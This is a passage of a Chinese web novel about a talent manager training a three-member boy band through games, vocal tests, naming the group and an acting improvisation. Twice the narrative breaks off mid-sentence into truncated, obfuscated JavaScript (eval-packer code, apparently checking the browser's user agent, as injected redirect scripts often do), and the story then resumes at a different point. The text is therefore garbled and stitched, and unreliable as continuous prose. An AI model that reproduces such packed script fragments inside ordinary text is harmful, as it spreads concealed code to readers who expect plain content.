“萧子重你别强行往前跑啊!”安声揉了揉腿,勉强站起来。 “这个小游戏考验的是默契,”奚亭云将萧子重拉起来,商量道,“我们得一起迈步,一起走才行。” 萧子重嘴硬:“我当然知道,问题是走着走着就感觉腿不是自己的了。” “还剩两分钟,”远处,宫欢举着喇叭喊,“难道我又要代劳各位吃这么多高热量的东西了吗?” 萧子重忍不住怼她:“你想都别想!” “快想想办法,好不容易得来的福利,绝对不能让她独吞。” 大概是美食让人提高智商,萧子重急中生智,一拍手说:“有了!我们喊口号,数到一就迈左腿,二迈右腿,速度不要过快,求稳!” 奚亭云:“没问题。” 安声:“冲啊!!必胜!!” 终点,宫欢搬来凳子坐在上面哼歌,悠哉悠哉地看着三人笨拙踉跄地跑跑停停。 她看着时间,三分零10秒时,三人扑在终点线的位置摔成一团。 宫欢善心大发,走到他们面前笑眯眯地说:“恭喜你们成功啦,摆在那的食物随你们吃喝,别吃坏肚子影响训练就行。” 小助理将三人身上的绑带解开,两人跑过去大吃大喝起来,萧子重感动食物的美味:“炸鸡竟然这么好吃吗?我之前竟然吃不出来。” 安声吨吨吨地狂灌汽水饮料:“哈——冰饮料就是世界上最伟大的发明!” 宫欢好笑地看着他们吃吃喝喝,忽然注意到奚亭云只是擦擦汗喝了几口运动饮料就没再多吃了。 训练的场地在后花园,奚亭云坐到一边的长椅上休息。 宫欢跟过去坐下,闲聊起来:“最近感觉怎么样,日常生活上都还习惯吗?” 他穿着特制的运动装,克莱因蓝的T恤衬得人很白,阳光正好,照出皮肤上大颗的汗珠,汗水没将人染得狼狈黏腻,反而让他有种出水的清透感。 “还好,”奚亭云不好不坏的评价,“我适应能力很强,在什么地方都可以生存,何况这里的人都很好相处。” 宫欢不忍笑起来:“那谁还觉得我这是吃人的魔窟,你真这么想?” 奚亭云侧头看她,认真地说:“嗯,真的这么想。” 宫欢笑脸凑得很近,猫儿似的眼眸弯弯,随性洒脱。一副“看好你”的表情: “我就知道你和他们那些妖什么不一样,认真刻苦,天天向上。放心,我一定会把你捧红,成为大明星,让你得到想要的一切。” 奚亭云忽然问:“你知道我想要什么吗?” 宫欢理所当然:“当然知道啊,钱,权,名誉,脱离阶级,成为大明星,万人瞩目,让以前所有看不起你的人都跪下说有眼不识泰山!买车买房,买下那一整条小吃街,给家乡铺路,盖房,修建学校等等等等。” 奚亭云摇头否认:“不对。” 宫欢讶异地对上他眼眸,下意识发出疑问:“嗯?” 难道她判断失误? 他不是那种家庭背景? ——好赌的爹生病的妈上学的妹和破碎的他?? “我要——” 奚亭云的话刚说到一半,远处传来更大声的叫喊,将他后面的话熄灭在尘埃里。 “宫欢!就这么点东西够谁吃啊,再上!” 宫欢没好气地翻白眼,跳下长椅走过去训人: “你几百年没吃过饭了,怎么不连桌子都给我啃了,地皮扒下来煮汤喝?吃吃吃就知道吃,腹肌给我吃没了回头你露什么?” “我是靠腹肌那些肤浅东西的人吗!” 他们互相吵闹着,奚亭云最后还是将那句话说出了口,即使没人能听见。 “你。” 15. 五音不全 一段时间下来,基础的训练内容几人都差不多熟练了。 宫欢时不时加些其他的必备小技能—— 比如:面对闪光灯不能眨眼、身姿体态必须时刻端着、表情绝对不能崩。 除开这些小技能,最最重要的两项是唱功和舞蹈基本功。 舞蹈有杰西卡负责训练已经搞定一半,至于唱功,宫欢还没有给三人做专业的测试,她和他们交谈的时候觉得音色都不错,稍微夹一下就很好听。 可做个专业的唱跳艺人没那么简单。 有些人的声音条件好是分情况的,有的说话好听,唱歌拉胯,有的说话一般没亮点,可一唱歌就惊艳起来。 个人音色条件不同,所属的音区也有很大的差距。 没有哪个歌手能完美的掌握低中高音,大多都是扬长修短,让短处不要过于缺陷影响长处,让长处超常发挥。 宫欢之前帮韩雨寒出歌时有固定合作的唱片公司,基础的制作编曲都可以看情况是否需要公司介入,她一般是借用录音棚较多。后面和男团有关的后续发歌她打算继续和这家公司合作。 基本盘不变,需要变化的只有她的营销策略和艺人。 录音棚内。 奚亭云三人站在设备前,准备试音色条件。 宫欢和一个熟悉的老音乐人在调音室闲聊。 “你这么快就找到新的艺人了,还是三个。” 音乐人看着录音棚内的三人,样貌倒是不错:“准备怎么捧?” “不找不行啊,”宫欢夸张地说:“总不能因为一个贱人就影响事业吧。我呢,打算做个男团,国内男团没几个爆火的嘛,想试试能不能做出点花样。” 连接录音棚与调音室的是半面透明玻璃,调音师坐在办公椅上,打开调音台上的一个旋钮,控制话筒和录音棚内的三人对话: “准备好了就请从左到右的顺序开始试音,我就放比较耳熟能详的歌了,你们跟着感觉唱一段就好。” 棚内最左边是萧子重,中间是奚亭云,左边安声。 三人对视一眼,每个人都在紧张。 他们将耳麦戴好,耳机里传来一首乐坛天王的经典老歌,基本每个人都会唱几句。 奚亭云意外地看了看安声,意思是,他会唱的。 安声冲他比了个大拇指。 萧子重咳了咳,三人的耳机里紧接着传来他的咳嗽声,他转眼看向旁边,两位队友都用眼神示意鼓励他。 紧张缓和了些,萧子重用最适合自己的音域——也就是以前常在KTV唱的那些调调,眼睛紧盯着面前的歌词纸一字一句地随着伴奏跟唱。 “我会在田野麦浪,等风再次出现~” 耳机中响起有些陌生的声音,萧子重唱着唱着就有些走神,这声音和他想象中的不太一样,差了很多。 奇怪,他在话剧舞台上经常说台词,哪怕隔着电子设备,台词每字每句都清晰可闻。 这真是他的声音吗? 萧子重抽空往录音棚外看了一眼,想看看其他人的反应。 宫欢难得认真地看着调音师,不知道两人在说些什么,有时还会带上手部的肢体动作。 萧子重忽然紧张起来。 在话剧舞台上,他面对成千上万个观众,都能心如止水地沉浸在角色里,但现在换到一个完全陌生的环境,面对严肃而不熟悉的专业人士点评,他就控制不住的紧张。 萧子重的声音微秒地变了调,音色产生了变化。 原本是偏成熟的磁性嗓音,在他紧张时,喉部肌肉微微收缩,影响了声带的控制,声音带上了一些颗粒的质感,竟有几分烟嗓的感觉。 是非常有个人特色的颗粒烟嗓,再加上唱的是抒情慢歌。 萧子重的咬字,对字的掌控绝对是三人里最强的,因此这段歌被他唱的余韵悠长,加上他紧张的神情,像是在挽留朋友时回忆过去的情绪。 棚外的宫欢和调音师都不约而同的止住了交谈,将歌听完。 萧子重唱完最后一句停了下来,感觉宫欢不会说他什么好话,就垂着眼吊儿郎当地、装作无所谓地站着。 “下一位。” 调音师话音刚落,奚亭云深吸口气做好准备,但录音棚外宫欢抬手做了个暂停的手势。 奚亭云愣了愣。 只见宫欢和调音师无声地说了几句话,手轻轻指了指旁边的安声,调音师比了个OK的手势。 “不好意思,麻烦先让右边那位测试。”耳麦里传来调音师的声音。 奚亭云感到身体里某个东西往下沉了沉,他眼睫微颤,点点头算作回应,然后将头低着,站在原地没动,明面看上去正常的样子。 是这样的,男团里面他是最普通的一个人。 宫欢更看重有经验的人是正常的。 安声被cue到时用手指了指自己的脸,口型对外面说:“我吗?” 得到肯定的答案后,他站直了些,挺起胸膛,嘴巴微张着,似乎准备随时开唱。 安声手轻轻扶着头戴式耳机,身体靠近麦克风,耐心去听曲调节奏,心里默默数着拍子。 一、二、三:“远去的身影模糊不见,黄昏与夜色相连~” 安声日常的说话声线是比较清爽干净的夏凉冰块音,叫欢欢姐的时候,最后的姐字会拖一拖音调,就很像撒娇。 十足十的少年音。 但唱歌却像换了个人,音色亮,音域广,调子一起,直接比萧子重高了两个音不止。 而且在电子设备的微秒影响下,他的声音一度将伴奏压下,一开嗓脑中耳中都只剩他婉转的音调。 一整个音色流氓。 安声投入沉醉地一边唱,手一边轻轻晃动给自己指挥打拍子。 隔着透明的玻璃外,宫欢微微点头,看着很认可他。 一曲结束,安声感觉良好,要不是没伴奏了还能再唱一会儿。 三人的耳返是同步的,萧子重听了安声唱完后,朝他丢去一个“不错嘛你”的小眼神。 安声嘴角都压不下去,整个人感觉尾巴都要翘起来。 还差最后一个人。 就像考试时身边的人一个个交了卷,唯独只你一个还剩很多空白题。 奚亭云虽然沉默,紧张却不曾停过,垂在身侧的手指有些微微发颤。 “好,最后一位,请注意听。” 其实萧子重和安声都在用期待鼓励的眼神看着奚亭云,可他还是低垂着头,像是被刚才的打岔影响到了。 音乐在持续播放,快要到歌词部分。 唱歌时,姿势和口腔状态都很重要,随时保持发力和气息足够,要靠近麦克风做好准备。奚亭云的状态就不像是要好好唱的。 调音师不解,准备再次开麦想提醒奚亭云做好准备。 宫欢啧了声,一把夺过调音师的话筒,她声音偏尖,一下在三人的耳机里炸开:“奚亭云,把头给我抬起来好好唱!” 又在给她闹什么别扭,一天天的。 滋—— 尖锐的声音通过电子设备传到耳机里,刺得耳膜受不了。 萧子重一把扯掉耳机骂了声什么,安声也是缩了锁肩膀紧闭双眼,像是被惊吓到的小动物。 奚亭云将头慢慢抬起,跟着耳机里的伴奏唱出歌词:“在眼前,在身边,在每个日出日落间~” 待奚亭云唱完,录音棚内的人都沉默了。 带着耳机的安声,萧子重,宫欢,调音师,还有音乐人。 所有人的表情出奇的一致—— 没想到,没想到...... 宫欢是真的没想到。 平时声音低哑磁性好听,播音专业的奚亭云——五、音、不、全。 一段低音的歌,他唱得跌宕起伏,波澜壮阔,滔滔江水浪滔滔,摧枯拉朽,二泉映月。 路过的狗嗷嗷叫着都得给他投点钱进去。 宫欢一只手从下巴摸到脸上,默默盖住整张脸,不想面对现实。 调音师想说点话挽回一下场面:“可以......后期修音。”他很熟练业务的朝宫欢肯定点头。 这不是后期的事儿,算了,能用钱解决的事,不是事。 圈里多的是不会演戏的演员,不会唱歌的歌手,多一个五音不全的唱跳艺人算什么。 宫欢花了几秒说服自己,她松开盖住脸的手,给几人打手势让他们出来。 录音棚外是唱片公司内部的走廊,和宫欢所在的调音室隔了几步距离。 几人出来后,萧子重试图委婉的安慰一下奚亭云,他本来觉得自己唱歌挺拉胯,但有了奚亭云做对比,他自信不少。 自信是不能挂在脸上的。 萧子重拍拍奚亭云肩膀,违心地宽慰道:“别太放在心上,你唱得挺不错的。” 安声年纪小,还学不会违心,他安慰的方式也别具一格:“没事的奚哥,就算你唱歌五音不全,跳舞四肢错乱,但你很努力啊!勤奋是有用的!” 奚亭云瞥安声一眼。 如果眼神能杀死人,安声已经成了草船借箭上被万箭齐发射中的稻草人了。 三人在外面等了会,宫欢才走出调音室。 她步伐又快又稳,出来后直接越过几人往前走,看都不带看自家艺人的。 三人互相看了眼,自觉跟上。 宫欢走在前面,欲扬先抑地抛出个钩子:“你们觉得今天的表现怎么样?” 安声:“还不错?” 萧子重:“还可以?” 奚亭云:“还没死。” 唱片公司的工作人员都下班了,走廊只有他们几个,宫欢止住脚步侧过身体,一脸嫌弃地扫了几人一眼: “把歌词念出来叫还不错?音跑到你爷爷家去了叫还可以?得亏调音室用的是防弹玻璃,不然早被你们那破锣嗓子震碎了!” 宫欢几乎全贬了一遍,摇摇头仰天长叹: “明天开始我会找声乐老师来给你们恶补知识,现在要把唱跳这两项技能的重要性升到最高,短期内必须有个能看的样子。” 安声小声抗议:“我们现在不能看吗?” 宫欢没多说,只是将计划表发给高姐,找到圈内知名的声乐老师联系方式发去,高价聘请这位老师务必明天到场。 十万火急,争分夺秒。 发完消息,她正准备带人回家。 余光瞥见奚亭云一直闷闷的,话也没几句,可能是五音不全对他的打击太大,她思索了下。 “你们两个先去车上等我,”宫欢朝两人扬扬下巴,目光看向奚亭云,“我和他聊聊。” 安声和萧子重对视一眼,隐约觉得奚亭云可能要面临为难,毕竟宫欢骂人很凶,不好应付。 他们认识的时间并不久,可革命友谊还是有的。 每次面对宫欢,三人就像面对究极BOSS,总是提起万分精神,谁让她是老板呢? 两人应了声,走的时候朝奚亭云挤眉弄眼: 【稳住!】 【别怕!哥们顶你!】 【要坚持住啊!!】 【给你收尸!】 等人走完,宫欢直视着奚亭云,直白地点他:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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奚亭云偏暗的脸色转晴,他微垂下眼看着宫欢僵硬的掩饰性动作,忽然朝她倾身靠近了点,继续追问: “好看的皮囊,和好听的声音,你更喜欢哪个?” 宫欢下意识往后仰了仰。 奚亭云像是故意在试探她,刻意压了压嗓音,低低哑哑的,带着微弱的气声,像是悄悄话。 ——你更喜欢哪个? 刚才的自卑可怜无人关心的模样消失不见,隐晦的暧昧悄然无息地扑了过来。 宫欢一时间有些应付不来,她主场被抢了。 怔了几秒,她颇有点恼羞成怒地抬手推了推他肩膀,一甩头发傲气转身,骄矜地说: “我一般都要。” 说着就大步往前走了。 奚亭云注视她的背影片刻,慢慢跟了上去。 唱片公司外停着一辆私家车,宫欢打开车门坐上驾驶位,后排座的车窗降了下来,露出两张脸,安声在前,萧子重在后。 两人朝奚亭云暗示一通,眉毛挑起又落下,眼睛都快眨瞎。 【没事吧没事吧没事吧没事吧你没事吧!?】 多亏这段时间的默契训练,奚亭云大概猜到他们的意思。 后排座要是再坐一个人就有些打挤,奚亭云将目光移到宫欢那边。 两位队友懵逼:?? 宫欢刚关上车门,启动车子,见奚亭云还愣在原地,扬了扬下巴催他:“上车啊。” 奚亭云默默坐上副驾驶座,刚系好安全带就听后排座的萧子重语重心长地问:“准备好了吗?” 安声没懂他意思。 奚亭云也没懂。 这两位都是没坐过宫欢车的人,萧子重一手抓住扶手,一手扣紧座位的真皮。 宫欢看着后视镜倒车打转,单手抹轮脚踩油门刹车,衔接的非常流畅,车身也流畅快速的转了一圈。 车内的三人也跟着转了一圈,安声明明是坐着的,头却出去旅了个游。他不敢置信地看向同座的队友。 萧子重深深点头,表示没错,这,只是开始。 驾驶车子的宫欢挂档踩油门,起步就是一个漂移冲上车道混入主路,遇车超车,遇空加塞,换车道挤车熟练得不行。 四平八稳的大马路,被她开出了夺命狂飙的气势,车里的几人也被时走时停的起步刹车晃得头晕目眩。 到别墅后,三面车门同一时间推开,三人钻出车门齐齐趴在草丛吐了起来。 驾驶位的车门缓缓打开,宫欢神清气爽地下车,看了眼她那三个废物艺人。 萧子重吐到一半抽空求饶:“姑奶奶,下次让小的来给您做司机开车吧!” 安声吐着吐着回了口气:“我同意!”说着胃里又往上翻涌...... 奚亭云坐在副驾驶,是感受宫欢无比高超的精湛车技最多的一位选手,此时捂着眼睛深呼吸,想留住点体面。 宫欢无情地晃了晃手里车钥匙:“快点吐,吐完都给我去训练。” “我本来吃的就少!要了老命啊————” “妈妈我想回家——” 三人在草丛前仰天长啸欲哭无泪,身后则是靠着车似笑非笑的宫欢,画面意外的和谐温馨。 咔嚓。 这一幕被收录在收缩聚焦的镜头里,手持相机的人看了看拍下的照片,传到手机上发给一个人。 这人点下语音键,将嘴凑到手机旁边:“您放心,我一直都在,盯着她。” 16. 书店侧影 经过刻苦的训练,男团雏形初成。 三人的唱跳都达到了基础合格线,唱歌不会跑调,舞台上不会互相踩脚撞人,接下来就是编舞排舞,练习走位。 这项内容,宫欢掏钱让杰西卡解决了。 选定的排练曲目名叫【电子蝴蝶】,风格走的是未来科幻风,舞蹈动作偏机械舞和爵士融合。 编舞成功后经过没日没夜的排练,总算能做到没有失误的一次过了。 接着宫欢发现他们还差个组合名字,她将这机会给三人,让他们选定组合名后发给她确定。 健身房。 萧子重上身穿着黑色的无袖背心,衣服前后用亮黄色写着数字23。 他将腿翘在一旁的桌子上,吃着不知道哪儿偷来的橘子往嘴里塞,含糊不清地说: “我觉得叫王炸组合就挺好,顺口,好记,别起那些个麻烦拗口的洋文,每次念个字母都得三四个音。” 安声刚做完卧推,正拿起毛巾擦汗,听萧子重这么说立马抗议—— 他确实挺想炸了他的:“不行,王炸一听就好low啊,不知道的观众会以为是打牌,你不会是随便想到一个名字就起了吧。” “诶行行行,换个换个,换个高雅点的,”萧子重想了想,“叫蒙娜丽莎,珍珠少女够高雅吧?” 奚亭云做完引体向上,双手松开单杠落地喘匀了气:“怎么难听怎么起,你故意的。” 萧子重演都不演,将最后一瓣橘子丢进嘴里:“对啊,就是故意的,怎么样,被折腾了这么多天,还不许我出个气?” 安声这回站在奚亭云那边,他果断摇头:“男团的成员我没办法决定,组合名必须是好的。” “什么意思,你说我们不好。” 萧子重将脚从桌上放下来,没个正形的坐着,略显凶形的眼轻飘飘扫过两人,阴阳怪气:“三个人里就你最好,要不跟宫欢说说你单独出道算了。” 安声理直气壮:“我说了,欢姐说我必须带着你们两个拖油瓶。” 萧子重脸立马黑下来:“你说什么!?” 安声拿出放在一边的手机,点开宫欢发来的语音:“哎呀安宝~你知道你各方面都是最好的,鲜花也要绿叶衬的嘛,那俩绿叶你就顺带一下,等我给你们找到舞台,到时候所有目光都聚焦在你身上......” 语音放到一半被关掉,安声觉得放太多不好,容易引起团队不和谐。 然而现在不止萧子重脸黑,另一位队友奚亭云表情也好看不到哪儿去。 “鲜花,呵呵,绿叶是吧,劳资不奉陪了,你们自己玩去吧!” 萧子重扯了扯嘴角,起身要往外走,安声连忙上前拦住:“等等,还要训练呢,萧哥你去哪儿?” 萧子重没好气地瞪他一眼,语气冷硬:“闪开,别挡我路,还训什么练,我都绿叶了还有训练的必要吗?到时候直接当个背景板衬托你不就完事儿了?” 见安声死死挡住去路,萧子重侧过身看奚亭云,试图说服他:“你说呢,我们俩在这纯属陪玩——我说,再不闪开小心我真把你这朵花撕了。” 安声和萧子重差不多高,长相青涩白嫩,看着就是个好欺负的主,现在却一步都不挪,摇着头盯萧子重:“不行,训练必须是我们三个一起,我们是个团队!” 萧子重气笑:“宫欢给你灌了什么迷魂汤?不躲开是吧,那就别怪我动手了!” 紧接着萧子重伸手扯住安声衣领,企图将他拎到一边,但似乎看脸识人,低估了安声平时的训练量,人没拎动不说,还险些被安声绊倒。 安声熟练地踢他一脚,在萧子重要摔倒时伸手去扭他手臂,没成想萧子重玩赖,一抬手猛得抓住安声头发,用力一拉——两人接连倒在地上扭打成一团。 “啊啊啊萧子重你怎么能扯头发这种招式!” “没人规定打架不能扯头发啊!你先松手!” “你先松!”“你先!” 奚亭云慢慢走了过来,看着幼稚的两人,问萧子重:“宫欢没给你发过消息吗?” 萧子重正被安声咬住胳膊疼得龇牙咧嘴,一听这话,脸色不自然起来:“发了。” 奚亭云主动点开手机的语音消息,公放出来赫然是宫欢的声音: “奚宝啊,最近训练成果很好嘛,不愧是我万里挑一的人选,别在意那两个不懂事说的话,他们根本不懂你的魅力所在......” 安声听见熟悉的内容,甚至模版都没变,惊得松开牙口:“欢姐居然给我们发的都是一套话术!” 萧子重抽出手从兜里拿出手机,也跟着放语音条,音量登时大了两倍:“萧子重你傻逼吗!说了没有加餐就是没有!再敢给我半夜发消息骚扰——” “错了错了,”萧子重轻咳两声,连忙划了划聊天界面再次点开,“是这个。” “萧大戏骨,您演技这么好陪他们演演戏玩一玩真人沉浸式体验根本不在话下的嘛,训练什么的也就是动动胳膊腿,活动活动筋骨~” …… 三人合坐成一圈,各自沉默,合着他们都被宫欢哄得晕头转向。 安声惆怅地托着下巴:“欢姐的套路像洋葱,一层一层剥不完。” 萧子重双手撑在身后:“谁说不是呢,她那张嘴真应该送去申请专利。” 奚亭云盘腿坐在对面:“不管怎么样,她都是想让我们三个好好配合,在后面的关键场合不出岔子。这样吧,组合名字我们一人选一个,然后送上去给她选,选哪个就是哪个,谁也不能改了。” 三人思考过后,都觉得这个提议可行。 于是绞尽脑汁交出了三个组合名发给宫欢。 最近的训练成效显著,日常的清单内容把控也就没有那么严格,三人有时间放松玩一玩。 长期高强度训练下来,他们之间竟有了种战友情的意味。 安声端来三杯柠檬水,这是家里唯一能喝的甜饮,他递给两人: “说真的,你们训练的进度很快了。我以前学舞蹈的时候,很少有人短时间内进步这么大的,能在这么短的时间里肢体动作都达到及格线,其实已经超越很大一部分人了。” 萧子重接过水杯喝了口,酸得皱鼻子挤眼,“什么玩意儿,酸死了。” “还行吧,我们之前学表演也接触过这些,而且表演的精髓就是观察、学习、模仿,天天有你在前面跳,我看一遍两遍不会,八遍九遍总该能摸到点窍门。” “再说了,还有那个什么…世界级舞蹈老师,天天动作不对就打手打腿的,嘶,下手真不是我说——狠呐。” 奚亭云端着水杯,手指无意识的敲着杯壁,听着萧子重说表演,有些好奇:“我记得你是话剧演员,话剧和电视剧电影里的那些表演一样吗?” 奚亭云学的是播音主持,学校是非常普通的职高,都说播音、配音有时候也会涉及部分的表演知识,但他所学的根本没有那些内容。 只有教你怎么做司仪,主持红白喜事等等。 这一下戳到萧子重的专业点了,他痞痞地笑时肩膀微动,颇为得意高傲:“那肯定不一样,话剧需要的表演难度要求更高,剧目一旦开演,就不能停下来,非常考验台词功底和应变能力。” 他说着来了劲,站起身整了整衣服,清嗓咳嗽两声。 面部表情收敛,带着痞气的嘴角拉平,眼神直视前方,站姿端正,双手规规矩矩地放在身体两侧。 连出口的语调都全部变了,萧子重面朝两人,语气沉重,眉头紧锁:“这位先生,能麻烦你告诉我现在是什么时辰吗?” 整个人进入了某种情境,像是忽然换了个人,眉眼、五官、甚至连嗓音都变得陌生。 奚亭云和安声看得一愣一愣,好在奚亭云很快反应过来,他装作看表说:“下午两点。” 萧子重头微微抬起,眼中略带恍惚,微不可查地叹气,声音如叹息般:“那,能再麻烦您一下吗?现在是……哪个年代?” 奚亭云似乎已经明白过来,他抿了抿唇,掩饰不住内心的触动:“21世纪,公元2025年。” “竟是如此,竟是如此!”萧子重后退两步,双手无措的颤动,他弯下脊背,转过身体,一步步地佯装走远,“是我来错了年代,一晃眼,百年过去了。” 健身房内的氛围被萧子重带动,仿佛在高楼大厦车流人形中,隐约看见他的背影渐渐远去,回到属于他的世界。 奚亭云被这样的情景所震动着,许久回不过神。 某一刻,萧子重不是萧子重,他可以是任何一个人。 高贵的、平凡的、虚伪的、甚至是已经死去的。原来人的创造力竟然强大至此,能将人拉入情景中,跟随表演者的步子去探索、了解。表演所带来的是他从未见识过的风景。 直到萧子重恢复正经,转身回来嘚瑟地问:“怎么样,你们觉得刚才我演的是个什么角色?他经历了什么?” 安声抢答:“是个老爷爷!他很迷茫,分不清时间,还说什么时辰的,感觉是古代人,但是又说百年。” 奚亭云接话:“是民国,他是民国时期的人,不知道是活着还是死了,误入了现代。” “Bingo!” 萧子重打了个响指,“表演就是这样,不需要告诉全世界我是谁,但你能通过我的语言和肢体表现,知道我是谁,而且聪明的观众会联想很多。” “他以前是做什么的呢?从那个混乱的年代穿越到和平、高科技发展的现代,内心的感慨是怎样的。” 萧子重坐回去,三人围成一圈,他看见其他两人都似乎在沉思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这把萧子重也问住了,他想了想:“应该是说这个人很弱跟玻璃似的一碰就碎吧,就是说你弱!你看,这男主不就是弱鸡吗?” 安声恍然大悟:“哦!” 奚亭云似懂非懂:“哦......” 快乐的追剧时光只持续了一个多小时就被随机检查的高姐发现,三人只能中断追剧这项娱乐活动,继续体能训练。 但追剧、看电影此后加入了三人的娱乐清单,是为数不多的三人和谐相处的活动。 - 随着训练的效果越来越好,宫欢给他们安排的作息不再严格,各自有外出的时间。 萧子重常常往美食街跑,安声则是经常回家。 唯有奚亭云,很少外出,大部分时间都在别墅内训练、学习。 这天,他久违的出了门,坐车去了A市市中心。来A市这么久,除了到的当天制作蛋糕特意跑了一趟外,他基本没转过这座城市。 4月初,春暖花开,下午的阳光穿过树叶间隙落在身上,暖洋洋的。 他穿着简单,浅咖色宽松外裤,内搭白T恤,搭配半袖藏蓝外衫,微分碎盖的发型,将刘海挑起来露出中间的额头,背着单肩包,手上带着黑色腕表方便看时间。 自签约后,他的服饰几乎被全部包揽,每套衣服都是搭配好的,宫欢美其名曰:【除了上厕所,随时都要保持潮流。】 衣柜里放眼望去,很多服饰都较为夸张显眼。 奚亭云很少穿那类显眼的服装,好在挑了半天找到一身比较偏文艺风的服饰,是衣柜里最低调的了。 他在市中心散步,不知不觉走到一家书店。店门口铺着褐色落叶,踩上去窸窣作响。 上次萧子重的即兴表演过后,奚亭云就对表演产生了兴趣。 他想了想,还是走进书店,找到专业类书籍区,翻找表演相关的书。 他站在木质书架前,头微低,专注地翻看书页,窗外的橙艳暮色透进窗户映进来,柔和地覆盖了侧脸,将奚亭云的眼睫映得根根分明,浅浅的阴影投在脸上。 奚亭云看到表演的关键要点,头微微动了动,整个人安静而温雅,让人不忍心发出噪音打断他的专注。 书店内,不知名的角落竖起一只手机,对准了正在看书的奚亭云,拍下一张live图—— 生动鲜活的人轻轻翻动书页,侧头看书,优越的侧脸高挺的鼻梁,甚至连眼尾的弧度都看得人心动,初春氛围感十足到位,这样的一幕被发上社交网络。 通过短短几小时的发酵,名为【书店侧影】的帖子被推上热门,一时间不少人都在问哪家书店,求大海广捞微信联系方式。 而当事人一无所知,买完书后在天黑前回了家。 17. 真香定律 当晚。 宫欢拿着手机,翻看三个组合名字—— XAX组合,UFO组合,王炸组合。 不免一阵头疼,她就说不该把重要的事情交给三人的,没一个靠谱,都什么名字啊。 连飞碟都有了。 起名这种头疼的事,宫欢也不想掺和,她拍板定下:“直接就叫X组合,简单省事。” 决定好后,她在微信组建了个男团群,将三人一一拉进去,宣布这件事: 宫欢:【组合名字确定了,叫X,一听就很神秘,有种想要做题的冲动。】 萧子重:【??为什么我们三个的都没入选?】 安声:【为什么不能是A组合0-0】 奚亭云:【我没意见】 萧子重:【你没意见就闭嘴!】 宫欢:【有意见的也闭嘴,就这个名字,不改】 萧子重:【柴犬龇牙表情包.jpg】 男团组合初见成效就过去了大半个月。 宫欢翻看视频软件,鬼畜视频的播放量突破1个亿,她已经成了哪怕路人都知道名字一位风云人物。 尤其是她还每日随机抽取评论回复,也是互联网上最兴风作浪的一位。 这段时间除了给男团安排训练,宫欢婉拒了很多邀约,只保留了【围炉夜话】的综艺录制。 同时也在筛选其他的一些节目邀请,她没个准,找来高姐帮忙看看。 两人坐在客厅,高姐一条条看那些发来邀约的节目组,还有导演之前经手的节目,其中有没有暴雷的情况。 宫欢刷着某书视频,退出去时大数据自动推送了该时段最火的几条帖子,映入眼中的就是——【书店侧影】。 熟悉的侧脸,live图里他翻书的动作完全看不出这双手曾经是掌勺炒饭的,宫欢看得愣了愣神,将手机翻过来指着给高姐看: “这是奚亭云吗?” 高姐瞥了眼,惊讶片刻:“这做作的文艺感,是他。” 做什么?? 宫欢听见她这么评价奚亭云,憋笑道:“他哪里做作了,挺真诚的一个人啊。” 高姐撇嘴:“也就你这么觉得。” 说谁谁来。 正厅外,奚亭云迈腿进来,这段时间的训练成果使他走路的体态和身姿都赏心悦目不少,衣着与帖子里那身穿搭一模一样。 他看见两人时眼睛微亮,不自觉就嘴角带笑主动过来。 宫欢放下手机,故意逗他:“去哪儿了?你这一下午可是小火一把。” 奚亭云没听懂,还是回答:“在市中心转了转,火...是什么意思?” 宫欢将手机翻转过来给他看。 奚亭云像是视力不好,绕到旁边沙发凑近距离,同时自然地伸出手,想从宫欢手里接过手机。 宫欢本意是想让他看两眼,结果人这么一伸手,她只好把手机递给他。 “你不知道这事吗?”宫欢看他从疑惑到恍然,“不得不说,你还挺有红运的,去个书店都被人炒出热度。” 奚亭云拿着手机翻了几下,拍摄的图片有好几张,角度大差不差。 他回想起来,怪不得他感觉书店的人逐渐增多,临走时店员微笑又热切的让他下次一定要再来。 “不知道,当时就是去看看有没有喜欢的书,”奚亭云卸下单肩包,“想买几本看看,没想到会这样。” 宫欢若有所思。 原贴还提及个问题——求联系方式。 将男团都放在眼皮子底下的其中一个原因就是怕他们男女关系混乱,容易闹出绯闻影响事业。 奚亭云看起来不像是随便的人,但宫欢在娱乐圈这么长时间,已经深刻的不会相信一个人的脸和性格了。 她很直接:“有人加你的联系方式吗?” 奚亭云反应迅速,从背包里拿出手机打开微信,然后直接将手机递给宫欢,坦荡得让人觉得不信任他是种过错: “没有,当时没有人来找我要联系方式,我也是才知道这件事,你可以查,我没有经常联系的女性。” 宫欢轻咳两声,都送到手边了那就看看。 结果视线刚对上手机屏幕,置顶的联系人是大名鼎鼎两个字—— 宫欢。 她默了默。 第二行置顶的是男团群。 “不一定非要女性......”宫欢很有经验的嘟囔一句。 “男的也没有。”奚亭云跟着加了句。 咳咳。 奚亭云并不如他表现出来的那般一无所知,某些事情上他不仅懂,还是很懂的那种。 宫欢随意滑了滑手机便还回去,没打算深查。 “不管怎么说,现在正是事业起步期,最好专注在事业上,等能谈恋爱的时候我肯定不会限制你们。” 坐在对面的奚亭云腿长手长,或许是面对比他高一级的经纪人,所以坐姿很端正。 腿微曲在身前,但因为腿长人高,整个人很占空间面积。 他的腿往她的方向靠了很多。 以至于对角坐着的宫欢交叠的两腿要收敛着,不然一不小心可能就会踢到他小腿。 她将腿偏了偏,睡裙下滑出一截细腻的皮肤。 奚亭云眼眸微动,盯了两秒后移开视线。 “好,我知道的,等你告诉我可以恋爱了,我才会往这方面发展。” 奚亭云说得很官方,不像是谈恋爱的说法,更像是完成任务似的。 可宫欢怎么听怎么不对味,头一次不知道该说什么话。 她很少会被人两三句话扼住喉咙,一个字都难蹦出来。 嘶,难道是因为吃了他的嘴软?? 就说别乱吃别人的东西了。 这时候,高姐敲了敲电脑的空格键,很突兀地打断两人:“聊完了没,我还有事跟宫欢说。” 奚亭云没有出声,他朝高姐投来一眼,在后者瞪他时,眼神转移到宫欢身上,和她对上视线,微微挑起眉梢,无声的注视询问。 宫欢:“……你先去休息吧,不早了。” 